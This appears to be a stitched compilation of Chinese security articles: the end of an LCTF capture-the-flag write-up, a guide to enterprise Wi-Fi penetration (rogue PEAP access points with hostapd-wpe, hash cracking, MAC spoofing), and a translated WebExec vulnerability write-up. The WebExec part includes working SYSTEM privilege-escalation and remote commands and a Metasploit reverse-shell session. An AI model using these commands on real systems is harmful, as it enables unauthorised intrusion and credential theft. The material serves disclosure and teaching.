k = 0
n = 0
for i in xrange(length):
for j in xrange(channel):
m = key[n % ln]
tmp[k + 0] ^= m
tmp[k + 1] ^= m
n += m
k += 2
buf = str(tmp)
f = open("./dec.wav", "wb")
f.write(header + fmt + data + buf)
f.close()
解密之后用`GoldWave`的`x-y`模式就能看到flag.
`LCTF{NOW_YOU_GOT_A_OSCILLOSCOPE_MEDIA_PLAYER}`
### enigma
改bin使之输出加密的结果.
> 0000559A22B498A0 -> 48 89 FE 48 C7 C0 0F 00 00 00 90 90 90 90 90 90 90 90 90
> 90 90 90 90 90 90 90 90 90 90 90 90 90
from pwn import *
context.log_level = "warn"
secret = "DQYHTONIJLYNDLA"
flag = ""
for i in xrange(len(secret)):
cc = " "
for ch in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
p = process("./enigma1")
p.sendline((flag + ch).ljust(15, "A"))
t = p.recvline(False)
p.close()
if(t.startswith(secret[:i + 1])):
cc = ch
break
flag += cc
print(flag)
`LCTF{DOUBLEBUTTERFLY}`
### maze
改bin使之输出加密的结果.
> 000055C60F62A568 -> 75 F8 90 90 90 90 90 90 90
> 000055C60F62A8A8 -> 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
from pwn import *
context.log_level = "warn"
secret = "IQURUEURYEU#WRTYIPUYRTI!WTYTE!WOR%Y$W#RPUEYQQ^EE"
flag = ""
for i in xrange(0, len(secret), 2):
cc = " "
for j in xrange(0x20, 0x7F):
ch = chr(j)
p = process("./maze1")
p.sendlineafter("Input your Flag:\n", (flag + ch).ljust(24, "A"))
t = p.recvline(False)
p.close()
if(t.startswith(secret[:i + 2])):
cc = ch
break
assert(cc != " ")
flag += cc
print(flag)
`LCTF{Y0ur_fl4g_1s_wr0ng}`
### game
打开后是一个游戏，提示说赢了就能得到flag，直接在判定输赢的地方设断点，直接跳到赢就可以得到falg了
000000000040248F改成jmp
00000000004024B2nop掉
00000000004024C2nop掉
然后打开游戏按个空格就有flag了
# 总结
好好学习，天天向上。 | 社区文章 |
# 一二三四五，企业无线渗透说清楚
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.企业无线安全概述
在无线网络快速发展过程中，很大一部分企业并没有对无线网络的安全给予足够的重视，只是随着对无线网络需求的出现，逐步组建起了无线网络。目前，无线网络事实上已经成为了企业移动化办公的重要基础设施，但由于普遍缺乏有效的管理，部署与使用人员的安全意识和专业知识的不足，导致AP分布混乱，设备安全性脆弱，无线网络也越来越多的成为黑客入侵企业内网系统的突破口，由此给企业带来新的安全威胁。
比如近年来由无线网络引发的多起企业安全事件：
– 2014年，某留学中介Wi-Fi安全导致数据库泄露；
– 2015年3月，由于某公司内部存在开放的Wi-Fi网络，导致超级计算机天河一号被入侵，大量敏感信息疑遭泄漏；
– 2015年5月，有用户在T1航站楼使用登机牌登录Wi-Fi网络时，发现由于机场Wi-Fi提供商的服务器安全设施不足和代码漏洞，可导致服务器中的用户隐私数据被泄漏及登机人信息被窃取；
– 2016年，某手机售后中心Wi-Fi安全导致内网漫游；
– 2017年，国内某航空公司Wi-Fi安全导致内网漫游。
### 企业无线热点类型
企业内部存在的热点大概可以分为这几类：
#### 1\. 企业自建热点
为了满足自身业务需要或方便员工网络访问需求，大部分企业都开始在内部组建无线网络。这种企业有规划的搭建的热点，称为合法热点。
#### 2\. 非企业自建热点
除企业自建热点外的所有热点，又可分为以下几类。
**外部热点**
由于无线网络的穿透性和边界不确定性，在某些邻近的企业，无线网络可能会互相覆盖，也就是说在A企业可能会找到B企业的热点，在B企业也可能会找到A企业的热点。
**员工私建热点**
如今随身Wi-Fi产品种类越来越多，使用越来越方便，只要插到有网络的电脑设备上即可分享一个跟此网络连通的无线网络；在自身有无线网卡的设备上还可以通过应用程序直接创建无线网络。
**恶意热点**
一些攻击者还可能会故意在企业周围建立恶意热点，采用与企业热点相同或类似的名称，使企业员工的终端在有意或者无意间尝试连接该热点。随后攻击者通过对热点中的流量进行分析或者通过钓鱼的方式，从而获取员工敏感信息，获取内网登录凭证，进而入侵企业内网。
综上所述，在企业内可能出现很多种热点，这些热点有企业内部合法建立的，也有因为其他原因客观存在于企业内部的私建热点等，各种热点都存在不同的安全隐患和问题。我们将在本文中了解针对企业级无线环境的渗透测试方式。
## 2\. 802.1X热点
802.1X
最初是为有线接入而设计，由于连接需要物理接触，并没有太多安全方面的考虑。而无线网络的出现使设备接入变得十分容易，因此需要对802.1X的安全性进行加强，即增强EAP协议的安全性。除了热点验证用户身份的需求外，用户也需要确保正在连接的热点是合法热点，也即双向认证的需求。基于
IETF 的 TLS 标准就可以较好的实现这两点需求，之后三种基于TLS的EAP协议就被研制了出来：EAP-TLS、EAP-TTLS、EAP-PEAP。
由于PEAP与Windows操作系统具有良好的协调性，其可以通过Windows组策略进行管理使得PEAP在部署时极其简单。同时，由于PEAP兼容几乎大部分厂商的设备，因此大多数企业在部署无线网络时一般都会选择采用PEAP-MSCHAP v2、AD认证（域账户）的架构。
PEAP通过类似SSL机制为认证提供传输层的安全，需要企业去向CA购买证书或者自建PKI系统来签署用于无线网络的证书，同时将根证书部署到每个客户端。“将根证书部署到每个客户端”这个要求显然是存在极大的运营成本，许多企业都选择直接忽视，而用户可能会面对未经认证的证书，如下图：
这就导致一些问题：
**未认证的证书显示效果都是相似的，所以任何人都可伪造出显示效果类似的钓鱼热点；**
**用户对于“是否信任”等对话框会习惯性点击接受；**
**许多客户端（Android）不对服务端证书验证。**
### 攻击PEAP热点
针对采用此类不安全配置的PEAP网络，攻击流程如下：
1\. 建立伪造热点和RADIUS服务器。
2\. 在客户端与伪造热点连接并建立TLS隧道后，记录用户与伪造Radius服务器认证交互时传递的凭证信息（Challenge/Response）。
3\. 通过字典攻击破解密码。
其中第1，2步可使用hostapd-wpe工具，其通过为hostapd提供补丁程序的形式使其支持对 PEAP/MSCHAPv2、EAP-TTLS/MSCHAPv2等认证类型的攻击。在最新的Kali Linux系统软件仓库中可以通过命令“`apt install hostapd-wpe“`自动安装并配置证书等。默认的网络配置文件为“`/etc/hostapd-wpe/hostapd-wpe.conf“`，可以在该文件中修改网络接口、网络名称、信道、证书文件目录等，如下图所示：
我们可以自定义证书信息，修改certs目录中ca.cnf，server.cnf，client.cnf三个文件的以下字段：
并生成新的证书文件：
cd /etc/hostapd-wpe/certs
rm -f *.pem *.der *.csr *.crt *.key *.p12 serial* index.txt* //删除原有证书文件
make clean
./bootstrap
make install
证书生成完成后，通过命令hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf即可建立该钓鱼网络。我们通过终端对该热点进行连接，可以看到的证书信息如下图所示：
一旦信任证书并输入账号密码后，便能在控制台观察到被记录的hash值(Challenge/Response），日志同时也会保存在hostapd-wpe.log文件中。
接下来我们需要对获取到的hash进行破解运算，可以使用Asleap、John the Ripper、hashcat等工具。在hostapd-wpe的日志中同时生成了NETNTLM格式的hash，该格式可以直接被John the Ripper和hashcat使用。这里以asleap工具为例：
asleap -C Challenge值 -R Response值 -W 字典文件
破解成功后效果如下图所示：
通过上述方法，我们利用虚假热点获取用户传输的凭证Hash，在破解成功后即可利用用户凭证进入网络。
## 3\. Captive Portal热点
Captive
Portal认证通常也称为WEB认证，其经常部署在大型的公共无线网络或企业无线网络中，如商店、机场、会议、银行等等。当未认证用户连接时，会强制用户跳转到指定页面，具体的实施方式不止一种，例如HTTP
重定向、ICMP 重定向、DNS 重定向等。
Captive Portal认证通常被部署于开放式网络中，往往会存在几个攻击点：
### 3.1 被动窃听
在开放式网络中，802.11数据帧在传输时未对上层数据进行加密，这意味着采用空口抓包的方式即可发现所有无线客户端与该热点交互的明文数据流。比如用户访问网站时产生的HTTP数据等，其中具体内容可被黑客直接通过被动嗅探的方式得到，如下图：
在2018年6月5日，Wi-Fi 联盟推出了Wi-Fi CERTIFIED Enhanced
Open（增强型开放式网络）。其针对被动窃听攻击，对开放式网络提供了保护。Wi-Fi Enhanced Open基于OWE（Opportunistic
Wireless Encryption），为每位用户提供单独的加密方式，以保证设备与Wi-Fi接入点之间的网络信道安全。
Wi-Fi Enhanced Open 采用过渡式的模式部署，以在不干扰用户或运营商情况下，逐步从开放式网络迁移到Wi-Fi Enhanced
Open网络。不过这也意味着在Enhanced Open被广泛应用前，绝大部分的无线设备依旧会受该缺陷的影响。
### 3.2 攻击Captive Portal服务器
前面提到，Captive Portal实际上是一个Web认证，这实际上就引入了Web方面的安全威胁。
笔者大学期间，校园无线网络便使用了Portal认证，该认证系统默认使用了学号同时作为用户名及初始密码。于是笔者通过爆破攻击（Bruce
force）的方式，在Portal登录页面对全校所有学生学号进行了尝试，通过页面返回长度来判断是否登录成功，最后笔者得到了数千个有效的上网账号。这便是利用了Web应用的弱密码缺陷及无防暴力破解缺陷而实施的一种组合攻击。
处于内网的应用系统往往还具有一个特点，它们往往使用着较老版本的系统，比如我们发现许多的企业的Portal服务使用了Struts2框架进行构建，而该框架曾经被爆出过大量的远程代码执行漏洞，导致我们往往能通过现成的利用工具进行远程代码执行。
### 3.3 伪造MAC地址绕过认证
Captive Portal认证基于MAC地址来区分不同客户端，这意味着伪造成已通过认证客户端的MAC地址就能绕过认证。
macchanger -m xx:xx:xx:xx:xx:xx wlan0
### 3.4 钓鱼热点
无线客户端会尝试自动重连相同名称相同加密方式的热点，比如当你从回家时你的手机会自动连上家里的Wi-Fi而不用再手动输入密码进行连接。而如果你之前连接过一个无密码的开放式热点，攻击者就只需要将名称设为相同就能满足条件，并吸引你的无线设备自动连入钓鱼热点了。
通过钓鱼热点获取用户敏感信息的文章网上已有很多，这里不再赘述。除了使用hostpad配合dnsmasq来搭建钓鱼热点外，也可以使用[Wifiphisher](https://github.com/wifiphisher/wifiphisher)等工具来一键建立。
### 3.5 ACL配置错误
在我们做渗透测试时发现一些网络存在ACL配置错误的情况。虽然没有通过认证无法访问互联网资源，但是内网的资源都可以直接访问，对于渗透测试者来说，不能访问互联网没有关系，只要可以访问内网资源就可以了。
## 4\. 私建热点
在Wi-Fi技术流行以前，企业内网中的电脑都是通过有线方式进行连接的，企业网络的拓扑结构和网络边界通常也是固定的。但是，自从Wi-Fi技术普及以来，企业的内网边界正在变得越来越模糊。特别是私搭乱建的Wi-Fi网络，给企业的内网安全造成了极大的隐患。为了减少网络数据费用，企业员工更倾向于将他们的无线设备连入企业网络。如果企业并未提供这样满足上网需求的热点，员工往往会尝试通过私接路由器或者利用USB无线网卡的方式来建立无线热点。
在大多数企业中，私建热点已成了一种普遍现象。这些私建的Wi-Fi网络实际上是在已得到准入授权的设备上开放了一个新的入口，使得未经授权的设备可以通过这个入口不受限制的接入内网系统，而且管理员很难发现。同时它们往往都没采用安全的加密模式及高强度的密码，极易遭到黑客攻击。其中较著名的一次事件，2015年，一个初中生通过一个开放式热点网络连入了企业内网，通过ssh弱口令登陆到了天河一号超级计算机的节点。
更糟的是，中国有许许多多的Wi-Fi密码分享应用，上面提供了大量共享的Wi-Fi热点可供用户连接。为什么会有这么多共享的热点呢，这是因为它们往往会诱导用户将用户自己的密码分享出去，比如安装时默认勾选自动分享Wi-Fi，一旦你使用这个软件连接自己的家庭Wi-Fi网络，你的密码就会被上传并公开。
但对于渗透测试人员而言，这无疑是一个密码宝库。在我们实际的渗透测试中，发现许多在政府部门、金融机构的内部热点都被分享到了这些密码共享平台，其中的大部分实际上就是员工的私建热点。由于这些热点具有办公网络的访问权限，利用它们就可以毫不费劲的访问到企业内部的敏感信息系统。
针对私建热点的攻击很简单，可混合采用以下方式：
1\. 打开密码分享APP，在目标企业员工较多的楼层进行巡检，尝试发现可供连接的分享热点。若发现分享的热点，尝试连接并测试是否具有内网连接权限。
2\. 通过airodump、kismet等工具扫描企业内部的无线热点，若发现WEP热点直接进行破解；若发现WPA热点收集握手包，并使用弱密码字典尝试破解。
## 5\. 企业无线安全现状总结
无线安全的概念已经在国内兴起很多年了，但大部分企业的对于无线网络防护的落实还都处于刚起步阶段。根据我们天马安全团队这几年对外的[无线渗透服务](http://unicorn.360.cn/security/)来看，存在的主要问题包括：
1\. 传统安全防护无法应对无线威胁
国内安全市场对用户灌输的理念仍然是如何对有线网络进行防护加强，有线网络安全设备部署在网络出口，可以防范来自互联网的安全威胁，但由于无线网络提供服务的特殊性及有线网络防护技术的限制，应对来自无线的安全威胁时往往束手无策。用户无法了解无线网络空间中，有谁在使用无线网络？无线网络周围是否具有潜在威胁？有没有黑客入侵无线网络？这些问题，传统的有线网络安全手段均无法解决。
2\. 无线安全风险高，攻击手段多样。
据Gartner调查显示，在众多网络安全威胁中，WLAN所面临的安全威胁处于最高风险等级，一个方面是由于目前对于网络安全的建设还只是停留在对有线网络的防护，无线网络还未纳入到基本的安全建设计划中，因此如何防范针对WLAN的攻击，还没有形成有效的共识。另一方面，黑客不断寻找有漏洞的边界，一旦发现没有防护的边界，便可轻松突破并带来严重后果。因此攻与防的不对等态势导致无线网络变成安全风险最高的网络领域。
3\. 关于无线网络的安全建设存在误区。
当前部分企业和政府机关为提高办公效率都已建设或拟建设无线网路作为已有办公方式的重要补充，但是配套的无线网络安全建设却被忽视。不论是未部署无线的企业，还是已部署无线的企业，其实都存在数据泄漏的风险，例如“我们没有部署无线，风险与我们没关系”、“我们的无线已经足够安全”、“我们的手机安装有安全软件”等想法都是与当前无线安全威胁所造成的事实不相符的。
实际上，针对企业无线网络存在的这些安全问题，我们在14年就孵化了一款针对企业无线环境的无线入侵防御系统——[360天巡](http://b.360.cn/product/wireless_intrusion_prevention)。（为避免广告嫌疑，这里不再详述，感兴趣读者可以通过外链查看）
通过本文，希望大家可以了解到企业无线网络的常见脆弱点，企业安全管理人员也可以针对这些脆弱点加强保护，减少由无线网络导致的企业入侵事件。 | 社区文章 |
# WebExec之技术纲要
这是我们称之为“WebExec”的漏洞的技术纲要。
摘要：WebEx的WebexUpdateService中的缺陷允许任何登录到安装了WebEx的Windows系统的人远程执行SYSTEM级命令。这个不在任何端口上侦听的客户端应用程序实际上容易受到远程代码执行的攻击！本地用户或者域用户将使其成为通过网络进行转换的有效方式，直到它被修复。
<https://webexec.org> 上的高级详细信息和常见问题解答！下面是我们如何发现错误及其工作原理的技术文章。
# 关于漏洞
此漏洞被[我](https://twitter.com/iagox86)和来自 [Counter
Hack](https://www.counterhackchallenges.com/)的[Jeff
McJunkin](https://twitter.com/jeffmcjunkin)在一次常规的渗透测试发现。感谢[Ed
Skoudis](https://twitter.com/edskoudis)允许发布此文章。
如果您有任何问题或疑虑，我专门针对此问题制作了电子邮件；[[email protected]]([email protected])！
你可以下载一个存在漏洞的的[安装版本](https://downloads.skullsecurity.org/webexapp-2018-08-30.msi)和[补丁](https://downloads.skullsecurity.org/webexapp-2018-10-03.msi)，如果你想用这个自己玩，那不言而喻，但如果你运行易受攻击的版本，请小心！
# 介绍
在最近的一次测试中，我们在尝试提升最终终端用户笔记本电脑上的本地权限时，在WebEx客户端软件中发现了一个有趣的漏洞。最终，我们意识到此漏洞也可远程利用（给定任何域用户帐户）并决定为其命名：WebExec。因为每个好漏洞都有一个名字！
据我们所知，对第三方Windows服务的远程攻击是一种新型攻击。我们称这堂课为"thank you for your
service"，因为我们可以祈祷我们能有更多利用的点。
WebEx的实际版本是截至2018年8月的最新客户端版本：版本3211.0.1801.2200,修订版7/19/2018SHA1：bf8df54e2f49d06b52388332938f5a875c43a5a7。从那时起，我们测试了一些较旧版本和较新版本，但它们仍然很脆弱。
WebEx在10月3日发布补丁，但要求我们不要披露，直到他们发布他们的公告。您可以在webexec.org上找到所有修补说明。
好消息是，此服务的修补版本只会运行由WebEx签名的文件。坏消息是，那里有很多(包括易受攻击的服务版本!)，服务仍然可以远程启动。如果您担心任何用户(您应该是!)可以远程启动该服务，则以下命令将禁用该功能：
`c：\> sc sdset webexservice D：（A ;; CCLCSWRPWPDTLOCRRC ;;; SY）（A ;;
CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; BA）（A ;; CCLCSWRPWPLORC ;;; IU）（A ;;
CCLCSWLOCRRC ;;; SU）S ：（AU; FA; CCDCLCSWRPWPDTLOCRSDRCWDWO ;;; WD）`
这将从服务中删除远程和非交互式访问。但是，如果没有补丁，它仍然会受到本地特权升级的影响。
# 提升权限
最初引起我们注意的是文件夹`(c：\ ProgramData \ WebEx \ WebEx \
Applications\)`是每个人都可读写的，它安装了一个名为“webexservice”的服务，可以由任何人启动和停止。这不好！用我们喜欢的任何东西替换.exe或相关的.dll，并在服务级别（即SYSTEM）执行代码是微不足道的。这是一个直接的漏洞，我们报道过，ZDI显然比我们抢先一步，因为根据他们的[报告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-webex-pe)，这个漏洞是在2018年9月5日确定的
由于应用程序白名单，然而，在这个特定的评估上，我们不能简单地用一个shell替换它!服务非交互式地启动(例如，没有窗口和命令行参数)。我们探索了许多不同的选项，例如用其他二进制文件(例如cmd.exe)替换.exe，但是没有GUI就意味着不能运行命令。
一个近乎有效的测试是将.exe替换为另一个列入白名单的应用程序msbuild.exe，该应用程序可以从同一目录中的.vbproj文件中读取任意C＃命令。但因为它是一个服务，它运行在工作目录`c：\windows\system32`，我们无法写入该文件夹！
在那一刻，我的好奇心占了上风，我决定研究一下`webexservice.exe`实际上在引擎盖下面。这次深度潜水最终发现了金子!让我们来看看
# 深入研究WebExService.exe
这不是一个很好的座右铭，但是当我有疑问的时候，我倾向于在IDA中打开一些东西。了解进程在IDA中的作用的两种最简单的方法是strings窗口(shift-F12)和import窗口。以webexservice.exe为例，大多数字符串都与Windows服务相关，但有些东西吸引了我：
.rdata：0040543 8 ; wchar_t aSCreateprocess
.rdata：0040543 8 aSCreateprocess : ; DATA XREF：sub_4025A0 + 1E8o
.rdata：0040543 8 unicode 0， <％s :: CreateProcessAsUser：％d ;％ls;％ls（％d）。>，0
我在advapi32.dll中找到了 **CreateProcessAsUserW** 的导入，并查看了它的调用方式：
.text:0040254E push [ebp+lpProcessInformation] ; lpProcessInformation
.text:00402554 push [ebp+lpStartupInfo] ; lpStartupInfo
.text:0040255A push 0 ; lpCurrentDirectory
.text:0040255C push 0 ; lpEnvironment
.text:0040255E push 0 ; dwCreationFlags
.text:00402560 push 0 ; bInheritHandles
.text:00402562 push 0 ; lpThreadAttributes
.text:00402564 push 0 ; lpProcessAttributes
.text:00402566 push [ebp+lpCommandLine] ; lpCommandLine
.text:0040256C push 0 ; lpApplicationName
.text:0040256E push [ebp+phNewToken] ; hToken
.text:00402574 call ds:CreateProcessAsUserW
最后的 **W** 指的是函数的UNICODE("wide")版本。在开发Windows代码时，开发人员通常在代码中使用
**CreateProcessAsUser** ，编译器将其扩展为 **CreateProcessAsUserA** (ASCII)和
**CreateProcessAsUserW** (UNICODE)。如果您查找 **CreateProcessAsUser**
的函数定义，您将找到需要知道的所有内容。
在任何情况下，这里最重要的两个参数是 **hToken** \- 它创建进程的用户 - 和 **lpCommandLine** \-它实际运行的命令。我们来看看每一个参数！
# hToken
**hToken**
后面的代码实际上非常简单。如果我们在调用CreateProcessAsUserW的函数中向上滚动，我们可以只查看API调用，以了解发生了什么。您很快就会看到，仅仅基于API调用序列来理解代码在做什么，在Windows应用程序中会运行得相当好。
在函数的顶部，我们看到：
`.text:0040241E call ds:CreateToolhelp32Snapshot`
这是在Win32中搜索特定进程的一种常见方式——它创建运行进程的“快照”，然后通常使用Process32FirstW和Process32NextW遍历这些进程，直到找到所需的进程。很久以前，当我编写[注入器工具](https://github.com/iagox86/old-injector)将一个定制的.dll加载到另一个进程中时，我甚至使用了[完全相同的技术](https://github.com/iagox86/old-injector/blob/master/Injection.h#L80)，这是我15年前写的)
基于对api的简单了解，我们可以推断出它正在搜索一个特定的进程。如果我们继续向下滚动，就可以找到对wcsicmp的调用，这是微软对UNICODE字符串使用stricmp的一种用法:
.text:00402480 lea eax, [ebp+Str1]
.text:00402486 push offset Str2 ; "winlogon.exe"
.text:0040248B push eax ; Str1
.text:0040248C call ds:_wcsicmp
.text:00402492 add esp, 8
.text:00402495 test eax, eax
.text:00402497 jnz short loc_4024BE
具体来说，就是将每个进程的名称与“winlogon.exe”进行比较——所以它试图获得一个“winlogon.exe”句柄的过程!
如果我们继续执行这个函数，您将看到它调用OpenProcess，然后是OpenProcessToken，然后是duplicateatetokenex。这是另一个常见的API调用序列——这是一个进程如何获得另一个进程令牌的句柄。不久之后，它复制的令牌作为hToken传递给CreateProcessAsUserW。
总结一下:这个函数获得了winlogon.exe的句柄，复制其令牌，并将新进程创建为相同的用户(系统)。现在我们要做的就是找出这个过程是什么!
这里有一个有趣的结论:我根本没有真正地阅读程序集来确定这些内容:我只是遵循API调用。通常来说，逆向Windows应用程序就是这么简单!
# lpCommandLine
这让事情变得有点复杂，因为需要遍历一系列函数调用来计算lpCommandLine。我必须使用倒车、调试、故障排除和eventlogs组合来确定lpCommandLine来自哪里。这花了整整一天的时间，所以不要因为这个简短的总结而气馁——我跳过了很多的死胡同和验证，只保留了有趣的部分。
一个这样的死胡同:我最初从CreateProcessAsUserW开始向后工作，或者从main()开始向前工作，但是我很快就迷失在杂草中，决定走另一条路。然而，在滚动时，我注意到许多调试字符串和对事件日志的调用。这给了我一个主意——我打开了Windows事件查看器(eventvwr.msc)，并尝试用sc
start webexservice开始这个过程:
C：\ Users \ ron> sc start webexservice SERVICE_NAME：webexservice
TYPE ：10 WIN32_OWN_PROCESS STATE ：2 START_PENDING
（NOT_STOPPABLE，NOT_PAUSABLE，IGNORES_SHUTDOWN）
[...]
您可能需要配置事件查看器来显示应用程序日志中的所有内容，我并不知道自己在做什么，但最终我为WebExService.exe找到了一个日志条目:
`ExecuteServiceCommand::Not enough command line arguments to execute a service
command.`
那很方便!让我们在IDA (alt+T)中搜索它!这样就引出了这个代码:
.text:004027DC cmp edi, 3
.text:004027DF jge short loc_4027FD
.text:004027E1 push offset aExecuteservice ; "ExecuteServiceCommand"
.text:004027E6 push offset aSNotEnoughComm ; "%s::Not enough command line arguments t"...
.text:004027EB push 2 ; wType
.text:004027ED call sub_401770
一个很小的实际反转:比较edit和3，如果大于或等于就跳转，否则打印输出提示我们需要更多命令行参数。确定我们需要2个或更多命令行参数并不需要很大的逻辑飞跃(因为进程的名称也总是被计算在内)。让我们试一试:
C：\ Users \ ron> sc start webexservice ab
[...]
然后再次检查事件查看器:
`ExecuteServiceCommand::Service command not recognized: b.`
你不喜欢冗长的错误信息吗?就好像我们根本不需要思考!再一次，在IDA(alt+T)中搜索那个字符串，我们发现自己在这里:
.text:00402830 loc_402830: ; CODE XREF: sub_4027D0+3Dj
.text:00402830 push dword ptr [esi+8]
.text:00402833 push offset aExecuteservice ; "ExecuteServiceCommand"
.text:00402838 push offset aSServiceComman ; "%s::Service command not recognized: %ls"...
.text:0040283D push 2 ; wType
.text:0040283F call sub_401770
如果我们向上滚动一点来确定如何得到错误信息，我们会发现:
.text:004027FD loc_4027FD: ; CODE XREF: sub_4027D0+Fj
.text:004027FD push offset aSoftwareUpdate ; "software-update"
.text:00402802 push dword ptr [esi+8] ; lpString1
.text:00402805 call ds:lstrcmpiW
.text:0040280B test eax, eax
.text:0040280D jnz short loc_402830 ; <-- Jumps to the error we saw
.text:0040280F mov [ebp+var_4], eax
.text:00402812 lea edx, [esi+0Ch]
.text:00402815 lea eax, [ebp+var_4]
.text:00402818 push eax
.text:00402819 push ecx
.text:0040281A lea ecx, [edi-3]
.text:0040281D call sub_4025A0
字符串software-update是用来比较字符串的。因此，让我们尝试 software-update，而不是b，看看这会不会让我们走得更远!我想再次指出的是，我们在组装层只做了绝对最少的反向工程——我们基本上完全使用API调用和错误消息!
这是我们的新命令：
C:\Users\ron>sc start webexservice a software-update
[...]
这是新的日志条目:
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Exception code: 0xc0000005
Fault offset: 0x00002643
Faulting process id: 0x654
Faulting application start time: 0x01d42dbbf2bcc9b8
Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
Report Id: 31555e60-99af-11e8-8391-0800271677bd
哦哦!当我得到一个崩溃的进程时，我通常很兴奋，但这次我实际上是在尝试使用它的特性!我们该怎么办!?
首先，我们可以看看异常代码:0xc0000005。如果你放弃了它，或者开发了低级别的软件，你就会知道这是一个内存错误。进程试图访问一个坏内存地址(可能为空，但我从未验证过)。
我尝试的第一件事是暴力的方法:让我们添加更多命令行参数!我的逻辑是，它可能需要两个参数，但实际上使用第三个参数，当它们不存在时，就会崩溃。
所以我使用以下命令行启动了该服务：
C:\Users\ron>sc start webexservice a software-update a b c d e f
[...]
这导致了新的崩溃，因此更进了一步!
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
Exception code: 0x40000015
Fault offset: 0x000a7676
Faulting process id: 0x774
Faulting application start time: 0x01d42dbc22eef30e
Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
Report Id: 60a0439c-99af-11e8-8391-0800271677bd
我需要谷歌0x40000015;这意味着STATUS_FATAL_APP_EXIT。换句话说，应用程序退出了，但是很难——可能是一个失败的assert()?我们实际上没有任何产出，所以很难说。
这个花了我一段时间，这就是我将跳过无用端和调试的地方，并向您展示什么是有效的。
基本上，在我们前面看到的software-update之后，继续跟踪代码开发者。不久之后，您将看到这个函数调用:
.text:0040281D call sub_4025A0
如果你跳进那个函数(双击)，向下滚动一点，你将会看到:
.text:00402616 mov [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"
我在这里使用了最先进的技术并用Google搜索了那个字符串。事实证明，它是默认桌面的句柄，并且在启动需要与用户交互的新流程时经常使用。这是一个很好的迹象，这意味着我们几乎就要成功了！
稍后，在同一个函数中，我们看到这段代码：
.text:004026A2 push eax ; EndPtr
.text:004026A3 push esi ; Str
.text:004026A4 call ds:wcstod ; <-- .text:004026AA add esp, 8
.text:004026AD fstp [esp+0B4h+var_90]
.text:004026B1 cmp esi, [esp+0B4h+EndPtr+4]
.text:004026B5 jnz short loc_4026C2
.text:004026B7 push offset aInvalidStodArg ; "invalid stod argument"
.text:004026BC call ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
带有错误- wcstod()的行与abort()发生的地方很接近。我将省去调试细节—调试一个服务是很重要的—但我确实应该在偏离轨道之前看到那个函数调用。
我在网上查询了wcstod()，这是微软另一个命名巧妙的功能。这个将字符串转换为数字。如果失败，代码将引用std::_Xinvalid_argument。我不知道它到底做了什么，但我们可以假设它在某处寻找一个数字。
这就是我的建议变成“幸运”的地方。原因是，这里唯一有效的数字是“1”。我不知道为什么，也不知道其他号码会做什么，但我最终还是用命令行调用了这个服务:
C：\ Users \ ron> sc start webexservice a software-update 1 2 3 4 5 6
并检查了事件日志：
StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
这看起来很有希望！我将2更改为实际的进程：
C：\ Users \ ron> sc start webexservice a software-update 1 calc cdef
它打开了！
C:\Users\ron>tasklist | find "calc"
calc.exe 1476 Console 1 10,804 K
它实际上也是使用GUI运行的，所以这是不必要的。我真的能看到!它以系统的方式运行!
说到未知数，以相同的方式运行cmd.exe和powershell似乎不起作用。但是，我们可以运行wmic.exe和net.exe，所以我们还有其他的选择！
# 本地利用
最简单的漏洞是使用wmic.exe启动cmd.exe：
C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
这将打开一个GUI cmd.exe实例作为SYSTEM：
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
如果我们不能或不选择打开GUI，我们也可以提升权限：
C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]
C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser
这一切工作作为一个非特权用户!
Jeff为Metasploit编写了一个[本地模块](https://github.com/iagox86/metasploit-framework-webexec/blob/master/modules/exploits/windows/local/webexec.rb)来利用特权升级漏洞。如果您在受影响的计算机上有一个非system会话，您可以使用它获得一个system账户:
meterpreter > getuid
Server username: IEWIN7\IEUser
meterpreter > background
[*] Backgrounding session 2...
msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2
msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run
[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
# 远程利用
实际上，我们花了一周多的时间了解这个漏洞，却没有意识到它可以远程使用!使用Windows
sc命令仍然可以完成最简单的攻击。创建远程机器的会话或创建具有相同凭证的本地用户，然后运行cmd.exe在该用户的上下文中(runas
/user:newuser cmd.exe)。一旦完成，您可以对远程主机使用完全相同的命令:
c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
该命令将在另一台机器上运行（并且甚至会弹出一个GUI！）。
# 使用Metasploit进行远程开发
